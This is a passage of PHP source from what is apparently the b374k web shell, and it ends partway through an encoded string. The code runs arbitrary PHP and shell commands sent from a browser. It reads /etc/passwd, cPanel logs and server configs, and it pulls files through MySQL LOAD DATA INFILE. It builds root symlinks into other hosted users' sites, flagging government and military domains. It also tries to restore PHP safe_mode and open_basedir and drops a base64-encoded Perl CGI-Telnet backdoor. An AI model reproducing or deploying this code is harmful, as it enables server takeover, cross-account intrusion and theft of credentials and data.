 419  <?php if (isset($_GET['x']) && ($_GET['x'] == 'php')) { ?> <form action="?y=<?php echo $pwd; ?>&x=php" method="post"> <table class="cmdbox"> <tr><td> <textarea class="output" name="cmd" id="cmd"> <?php if (isset($_POST['submitcmd'])) {
 420         echo eval(magicboom($_POST['cmd']));
 421     } else echo "echo file_get_contents('/etc/passwd');"; ?> </textarea> <tr><td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form> </table> </form> <?php
 422 } elseif (isset($_GET['x']) && ($_GET['x'] == 'mysql')) {
 423     if (isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {
 424         $sqlhost = $_GET['sqlhost'];
 425         $sqluser = $_GET['sqluser'];
 426         $sqlpass = $_GET['sqlpass'];
 427         $sqlport = $_GET['sqlport'];
 428         if ($con = @mysql_connect($sqlhost . ":" . $sqlport, $sqluser, $sqlpass)) {
 429             $msg.= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
 430             $msg.= "<p>Connected to " . $sqluser . "<span class=\"gaya\">@</span>" . $sqlhost . ":" . $sqlport;
 431             $msg.= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;\">[ databases ]</a>";
 432             if (isset($_GET['db'])) $msg.= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $_GET['db'] . "\">" . htmlspecialchars($_GET['db']) . "</a>";
 433             if (isset($_GET['table'])) $msg.= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $_GET['db'] . "&amp;table=" . $_GET['table'] . "\">" . htmlspecialchars($_GET['table']) . "</a>";
 434             $msg.= "</p><p>version : " . mysql_get_server_info($con) . " proto " . mysql_get_proto_info($con) . "</p>";
 435             $msg.= "</div>";
 436             echo $msg;
 437             if (isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))) {
 438                 $db = $_GET['db'];
 439                 $query = "DROP TABLE IF EXISTS b374k_table;
 440 CREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );
 441 LOAD DATA INFILE \"/etc/passwd\"
 442 INTO TABLE b374k_table;SELECT * FROM b374k_table;
 443 DROP TABLE IF EXISTS b374k_table;";
 444                 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
 445                 $tables = array();
 446                 $msg.= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on " . $db . "</th></tr>";
 447                 $hasil = @mysql_list_tables($db, $con);
 448                 while (list($table) = @mysql_fetch_row($hasil)) {
 449                     @array_push($tables, $table);
 450                 }
 451                 @sort($tables);
 452                 foreach ($tables as $table) {
 453                     $msg.= "<tr><td><a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $db . "&amp;table=" . $table . "\">$table</a></td></tr>";
 454                 }
 455                 $msg.= "</table>";
 456             } elseif (isset($_GET['table']) && (!isset($_GET['sqlquery']))) {
 457                 $db = $_GET['db'];
 458                 $table = $_GET['table'];
 459                 $query = "SELECT * FROM " . $db . "." . $table . " LIMIT 0,100;";
 460                 $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <input type=\"hidden\" name=\"table\" value=\"" . $table . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
 461                 $columns = array();
 462                 $msg = "<table class=\"explore\" style=\"width:99%;\">";
 463                 $hasil = @mysql_query("SHOW FIELDS FROM " . $db . "." . $table);
 464                 while (list($column) = @mysql_fetch_row($hasil)) {
 465                     $msg.= "<th>$column</th>";
 466                     $kolum = $column;
 467                 }
 468                 $msg.= "</tr>";
 469                 $hasil = @mysql_query("SELECT count(*) FROM " . $db . "." . $table);
 470                 list($total) = mysql_fetch_row($hasil);
 471                 if (isset($_GET['z'])) $page = (int)$_GET['z'];
 472                 else $page = 1;
 473                 $pagenum = 100;
 474                 $totpage = ceil($total / $pagenum);
 475                 $start = (($page - 1) * $pagenum);
 476                 $hasil = @mysql_query("SELECT * FROM " . $db . "." . $table . " LIMIT " . $start . "," . $pagenum);
 477                 while ($datas = @mysql_fetch_assoc($hasil)) {
 478                     $msg.= "<tr>";
 479                     foreach ($datas as $data) {
 480                         if (trim($data) == "") $data = "&nbsp;";
 481                         $msg.= "<td>$data</td>";
 482                     }
 483                     $msg.= "</tr>";
 484                 }
 485                 $msg.= "</table>";
 486                 $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <input type=\"hidden\" name=\"table\" value=\"" . $table . "\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
 487                 for ($i = 1;$i <= $totpage;$i++) {
 488                     $head.= "<option value=\"" . $i . "\">" . $i . "</option>";
 489                     if ($i == $_GET['z']) $head.= "<option value=\"" . $i . "\" selected=\"selected\">" . $i . "</option>";
 490                 }
 491                 $head.= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
 492                 $msg = $msgq . $head . $msg;
 493             } elseif (isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")) {
 494                 $db = $_GET['db'];
 495                 $query = magicboom($_GET['sqlquery']);
 496                 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
 497                 @mysql_select_db($db);
 498                 $querys = explode(";", $query);
 499                 foreach ($querys as $query) {
 500                     if (trim($query) != "") {
 501                         $hasil = mysql_query($query);
 502                         if ($hasil) {
 503                             $msg.= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
 504                             $msg.= "<table class=\"explore\" style=\"width:99%;\"><tr>";
 505                             for ($i = 0;$i < @mysql_num_fields($hasil);$i++) $msg.= "<th>" . htmlspecialchars(@mysql_field_name($hasil, $i)) . "</th>";
 506                             $msg.= "</tr>";
 507                             for ($i = 0;$i < @mysql_num_rows($hasil);$i++) {
 508                                 $rows = @mysql_fetch_array($hasil);
 509                                 $msg.= "<tr>";
 510                                 for ($j = 0;$j < @mysql_num_fields($hasil);$j++) {
 511                                     if ($rows[$j] == "") $dataz = "&nbsp;";
 512                                     else $dataz = $rows[$j];
 513                                     $msg.= "<td>" . $dataz . "</td>";
 514                                 }
 515                                 $msg.= "</tr>";
 516                             }
 517                             $msg.= "</table>";
 518                         } else $msg.= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . ";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
 519                     }
 520                 }
 521             } else {
 522                 $query = "SHOW PROCESSLIST;
 523 SHOW VARIABLES;
 524 SHOW STATUS;";
 525                 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" /> <input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" /> <input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" /> <input type=\"hidden\" name=\"db\" value=\"" . $db . "\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">" . $query . "</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
 526                 $dbs = array();
 527                 $msg.= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
 528                 $hasil = @mysql_list_dbs($con);
 529                 while (list($db) = @mysql_fetch_row($hasil)) {
 530                     @array_push($dbs, $db);
 531                 }
 532                 @sort($dbs);
 533                 foreach ($dbs as $db) {
 534                     $msg.= "<tr><td><a href=\"?y=" . $pwd . "&amp;x=mysql&amp;sqlhost=" . $sqlhost . "&amp;sqluser=" . $sqluser . "&amp;sqlpass=" . $sqlpass . "&amp;sqlport=" . $sqlport . "&amp;db=" . $db . "\">$db</a></td></tr>";
 535                 }
 536                 $msg.= "</table>";
 537             }
 538             @mysql_close($con);
 539         } else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
 540         echo $msg;
 541     } else { ?> <form action="?" method="get"> <input type="hidden" name="y" value="<?php echo $pwd; ?>" /> <input type="hidden" name="x" value="mysql" /> <table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr> </table> </form> <?php
 542     }
 543 } elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
 544     @ob_start();
 545     eval("phpinfo();");
 546     $buff = @ob_get_contents();
 547     @ob_end_clean();
 548     $awal = strpos($buff, "<body>") + 6;
 549     $akhir = strpos($buff, "</body>");
 550     echo "<div class=\"phpinfo\">" . substr($buff, $awal, $akhir - $awal) . "</div>";
 551 } elseif (isset($_GET['x']) && ($_GET['x'] == 'logout')) {
 552     @session_start();
 553     @session_unregister("login");
 554     echo "<meta http-equiv='refresh' content='0; url=?y=" . $pwd . "' />";
 555     "</div>";
 556 } elseif (isset($_GET['x']) && ($_GET['x'] == 'symlink')) {
 557 ?>
 558 <form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">
 559 
 560 <?php
 561     @set_time_limit(0);
 562     echo "<center>";
 563     @mkdir('sym', 0777);
 564     $htaccess = "Options all
 565  DirectoryIndex Sux.html
 566  AddType text/plain .php
 567  AddHandler server-parsed .php
 568   AddType text/plain .html
 569  AddHandler txt .html
 570  Require None
 571  Satisfy Any";
 572     $write = @fopen('sym/.htaccess', 'w');
 573     fwrite($write, $htaccess);
 574     @symlink('/', 'sym/root');
 575     $filelocation = basename(__FILE__);
 576     $read_named_conf = @file('/etc/named.conf');
 577     if (!$read_named_conf) {
 578         echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
 579     } else {
 580         echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
 581         foreach ($read_named_conf as $subject) {
 582             if (eregi('zone', $subject)) {
 583                 preg_match_all('#zone "(.*)"#', $subject, $string);
 584                 flush();
 585                 if (strlen(trim($string[1][0])) > 2) {
 586                     $UID = posix_getpwuid(@fileowner('/etc/valiases/' . $string[1][0]));
 587                     $name = $UID['name'];
 588                     @symlink('/', 'sym/root');
 589                     $name = $string[1][0];
 590                     $iran = '\.ir';
 591                     $israel = '\.il';
 592                     $indo = '\.id';
 593                     $sg12 = '\.sg';
 594                     $edu = '\.edu';
 595                     $gov = '\.gov';
 596                     $gose = '\.go';
 597                     $gober = '\.gob';
 598                     $mil1 = '\.mil';
 599                     $mil2 = '\.mi';
 600                     if (eregi("$iran", $string[1][0]) or eregi("$israel", $string[1][0]) or eregi("$indo", $string[1][0]) or eregi("$sg12", $string[1][0]) or eregi("$edu", $string[1][0]) or eregi("$gov", $string[1][0]) or eregi("$gose", $string[1][0]) or eregi("$gober", $string[1][0]) or eregi("$mil1", $string[1][0]) or eregi("$mil2", $string[1][0])) {
 601                         $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $string[1][0] . '</div>';
 602                     }
 603                     echo "
 604 <tr>
 605 
 606 <td>
 607 <div class='dom'><a target='_blank' href=http://www." . $string[1][0] . '/>' . $name . ' </a> </div>
 608 </td>
 609 
 610 <td>
 611 ' . $UID['name'] . "
 612 </td>
 613 
 614 <td>
 615 <a href='sym/root/home/" . $UID['name'] . "/public_html' target='_blank'>Symlink </a>
 616 </td>
 617 
 618 </tr></div> ";
 619                     flush();
 620                 }
 621             }
 622         }
 623     }
 624     echo "</center></table>";
 625     "</div>";
 626 } elseif (isset($_GET['x']) && ($_GET['x'] == 'bypass')) {
 627     echo "<center/><br/><b><font color=blue>b374k  Private Safe Mode Command  Bypass Exploit</font></b><br>
 628 ";
 629     print_r('
 630 <pre>
 631 <form method="POST" action="">
 632 <b><font color=blue><b><font color="blue">Command  :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
 633 </form>
 634 <form method="POST" action=""><strong><b><font color="blue">Menu Bypass  :=)  </font></strong><select name="liz0" size="1" class="inputz">
 635 <option value="cat /etc/passwd">/etc/passwd</option>
 636 <option value="netstat -an | grep -i listen">netstat</option>
 637 <option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
 638 <option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
 639 <option value="cat /etc/hosts">/etc/hosts</option>
 640 <option value="cat /etc/named.conf">/etc/named.conf</option>
 641 <option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
 642 </select> <input type="submit" class="inputzbut" value="G&ouml;">
 643 </form>
 644 </pre>
 645 ');
 646     ini_restore("safe_mode");
 647     ini_restore("open_basedir");
 648     $liz0 = shell_exec($_POST[baba]);
 649     $liz0zim = shell_exec($_POST[liz0]);
 650     $uid = shell_exec('id');
 651     $server = shell_exec('uname -a');
 652     echo "<pre><h4>";
 653     echo $liz0;
 654     echo $liz0zim;
 655     echo "</h4></pre>";
 656     "</div>";
 657 } elseif (isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
 658     echo "<center/><br/><b>
 659  +--==[ CGI-Telnet Version 1.3 ]==--+
 660  </b><br><br>";
 661     mkdir('cgi2012', 0755);
 662     chdir('cgi2012');
 663     $kokdosya = ".htaccess";
 664     $dosya_adi = "$kokdosya";
 665     $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
 666     $metin = "AddHandler cgi-script .izo";
 667     fwrite($dosya, $metin);
 668     fclose($dosya);
 669     $cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9S